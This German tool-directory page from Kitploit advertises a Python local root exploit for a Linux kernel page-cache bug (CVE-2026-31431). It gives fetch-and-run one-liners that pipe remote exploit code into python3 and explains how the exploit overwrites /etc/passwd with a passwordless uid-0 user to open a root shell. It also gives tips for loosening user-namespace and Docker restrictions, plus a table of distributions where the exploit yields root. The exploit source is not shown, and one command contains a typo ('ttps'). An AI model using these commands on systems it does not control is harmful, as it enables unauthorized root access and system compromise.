Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-31431 — Python-Implementierung eines lokalen Privilege-Escalation-Exploits für den Linux-Kernel, der CVE-2026-31431 ausnutzt und xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW nutzt, um /etc/passwd zu überschreiben und Root-Rechte zu erlangen. | Kitploit
Tools/GitHubGitHub/guiimoraes/cve-2026-31431
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPenetrationstestsBinary-Exploitation
GitHubguiimoraes/cve-2026-31431

CVE-2026-31431

Python-Implementierung eines lokalen Privilege-Escalation-Exploits für den Linux-Kernel, der CVE-2026-31431 ausnutzt und xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW nutzt, um /etc/passwd zu überschreiben und Root-Rechte zu erlangen.

Repository anzeigen
3vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CopyFail2-Exploit-Demo

CopyFail2 (CVE-2026-31431) – Python-Implementierung

Python-Port des CopyFail2-Kernel-Exploits, der den xfrm-ESP-in-UDP-MSG_SPLICE_PAGES-No-COW-Fast-Path für eine unprivilegierte Linux-Lokale-Privilegieneskalation ausnutzt.

Ersetzt einen nologin/false-Eintrag in /etc/passwd durch einen passwortlosen uid-0-Benutzer und öffnet über su eine Root-Shell.

Schwachstelle

Der Kernel-Bug liegt im UDP-Splice-Pfad, der von der xfrm-ESP-in-UDP-Kapselung verwendet wird. splice() in einen UDP-Socket mit MSG_SPLICE_PAGES führt dazu, dass Seiten ohne Auslösung von Copy-on-Write in den Page-Cache des Empfängers abgebildet werden. Dadurch kann in jede Datei geschrieben werden, die sich derzeit im Page-Cache befindet, selbst wenn sie schreibgeschützt geöffnet wurde.

  • Ursprüngliche C-Implementierung: 0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo
  • Upstream-Fix: netdev/net.git

Voraussetzungen

  • Linux-Kernel >= 6.5 (MSG_SPLICE_PAGES-UDP-Unterstützung)
  • libcrypto.so (OpenSSL)
  • Python 3.8+
  • CAP_NET_ADMIN oder die Fähigkeit, Benutzer-Namespaces zu erstellen

Welche Version verwenden

Dieses Repository bietet zwei Varianten. Beide liefern dasselbe Ergebnis; wählen Sie je nach Ihren Anforderungen.

Schnellstart (optimiert)

root@kitploit:~
# Einzeiler per Pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

# Gespeicherte Datei
python3 exploit.py

# Änderungen rückgängig machen
python3 exploit.py --clean

Schnellstart (roh/Referenz)

root@kitploit:~
python3 exploit_raw.py
python3 exploit_raw.py --clean

Auf Ubuntu mit aktiviertem apparmor_restrict_unprivileged_userns speichern Sie die Datei zuerst und führen sie von der Festplatte aus; der Pipe-Modus überspringt den AppArmor-Bypass-Tanz.

root@kitploit:~
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

So funktioniert es

  1. Erzwingt per Brute-Force eine AES-GCM-IV, deren Keystream-Byte das ursprüngliche /etc/passwd-Byte per XOR in den gewünschten Wert umwandelt.
  2. Installiert einen lokalen xfrm-ESP-in-UDP-State auf 127.0.0.1:4500.
  3. Erstellt eine angreiferkontrollierte Backing-Datei mit dem gefälschten ESP-Header und ICV.
  4. splice()t drei Bereiche (ESP-Header, Zielbyte aus /etc/passwd, ICV) in eine Pipe.
  5. splice()t die Pipe in den UDP-Socket, was den Kernel-Bug auslöst und das Byte in den Page-Cache schreibt.
  6. Wiederholt dies für jedes abweichende Byte, um eine nologin/false-Zeile mit sick::0:0:...:/:/bin/bash zu überschreiben.
  7. su - sick öffnet Root (PAM nullok akzeptiert leere Passwörter).

Getestet

Fehlerbehebung

cannot acquire CAP_NET_ADMIN

Ihr Kernel hat möglicherweise kernel.unprivileged_userns_clone=0. Aktivieren Sie es:

root@kitploit:~
sudo sysctl kernel.unprivileged_userns_clone=1

Wenn Sie in Docker laufen, starten Sie den Container mit --privileged oder --cap-add=SYS_ADMIN.

Danksagungen

  • Hyunwoo Kim (imv4bel) und Kuan-Ting Chen – Entdeckung und Upstream-Fix
  • Steffen Klassert – IPsec-Maintainer, hat den Fix veröffentlicht
  • Brad Spengler / grsecurity – prägte den Begriff „copyfail-class“
  • Theori / Xint – ursprünglicher Copy Fail (CVE-2026-31431)
  • Ursprünglicher C-Exploit von 0xdeadbeefnetwork
  • Python-Exploit von guiimoraes

Haftungsausschluss

Dieses Tool wird ausschließlich für autorisierte Sicherheitsforschung und Bildungszwecke bereitgestellt. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.

Tool herunterladen
DateiBeschreibungGeschwindigkeitVerwendung
exploit.pyOptimiert – wiederverwendet xfrm-State/Sockets/Pipe über Mutationen hinweg, verarbeitet 2 aufeinanderfolgende Bytes pro Runde, aktives Polling statt festem Sleep.~3–8 s für eine 99-Byte-ZeileStandardwahl. Schnell, stabil, auf mehreren Distributionen getestet.
exploit_raw.pyReferenz – am nächsten am ursprünglichen C-Code. Erstellt xfrm-State, Sockets, Pipe und temporäre Datei für jedes einzelne Byte neu, fester 200-ms-Sleep pro Mutation.~30–40 s für eine 99-Byte-ZeileVerwenden Sie diese, wenn Sie den einfachsten möglichen Codepfad für Audits möchten oder wenn die optimierte Version auf einem bestimmten Kernel-Build fehlerhaft ist.
DistributionKernelErgebnis
Ubuntu 24.04 LTS6.8.0-110-genericroot
Debian 136.12.74root
Arch6.19.11-arch1-1root
Fedora 436.19.14-200.fc43root
Ubuntu 26.04 LTS7.0.0-15-genericroot
Ubuntu 22.04 LTS5.15.0-176-genericnicht anfällig